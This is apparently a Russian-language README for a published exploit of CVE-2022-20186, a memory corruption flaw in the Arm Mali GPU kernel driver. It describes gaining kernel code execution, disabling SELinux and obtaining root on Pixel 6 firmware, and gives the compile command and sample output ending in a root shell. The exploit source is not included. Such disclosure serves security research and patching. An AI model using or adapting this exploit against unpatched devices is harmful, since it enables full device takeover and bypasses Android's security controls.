
Эксплойт для CVE-2022-20186, нацеленный на повреждение памяти в драйвере ядра Arm Mali на Android. Обеспечивает произвольное выполнение кода в ядре, отключает SELinux и повышает привилегии до root на Pixel 6 с поддержкой нескольких версий прошивки.
Статья доступна здесь. Это ошибка в драйвере ядра Arm Mali, о которой я сообщил в январе 2022 года. Уязвимость может использоваться для получения произвольного выполнения кода в ядре из недоверенного домена приложений, что затем позволяет отключить SELinux и получить root.
Эксплойт протестирован на Google Pixel 6 и поддерживает уровни исправлений с ноября 2021 года по февраль 2022 года. Легко добавить поддержку другой прошивки, изменив несколько смещений образов. Для справки, я использовал следующую команду для компиляции с помощью clang из ndk-21:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang mali_alias.c -o mali_alias
Эксплойт редко выходит из строя и может быть повторен без сбоя устройства. В случае успеха он должен отключить SELinux и получить root.
oriole:/ $ /data/local/tmp/mali_alias
fingerprint: google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys
tracking page 0x6ff794e000
drain 0x6d5b200000
gpu_va[0] 6ff6698000
gpu_va[1] 6ff6695000
alias 0x6ff6693000
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
oriole:/ #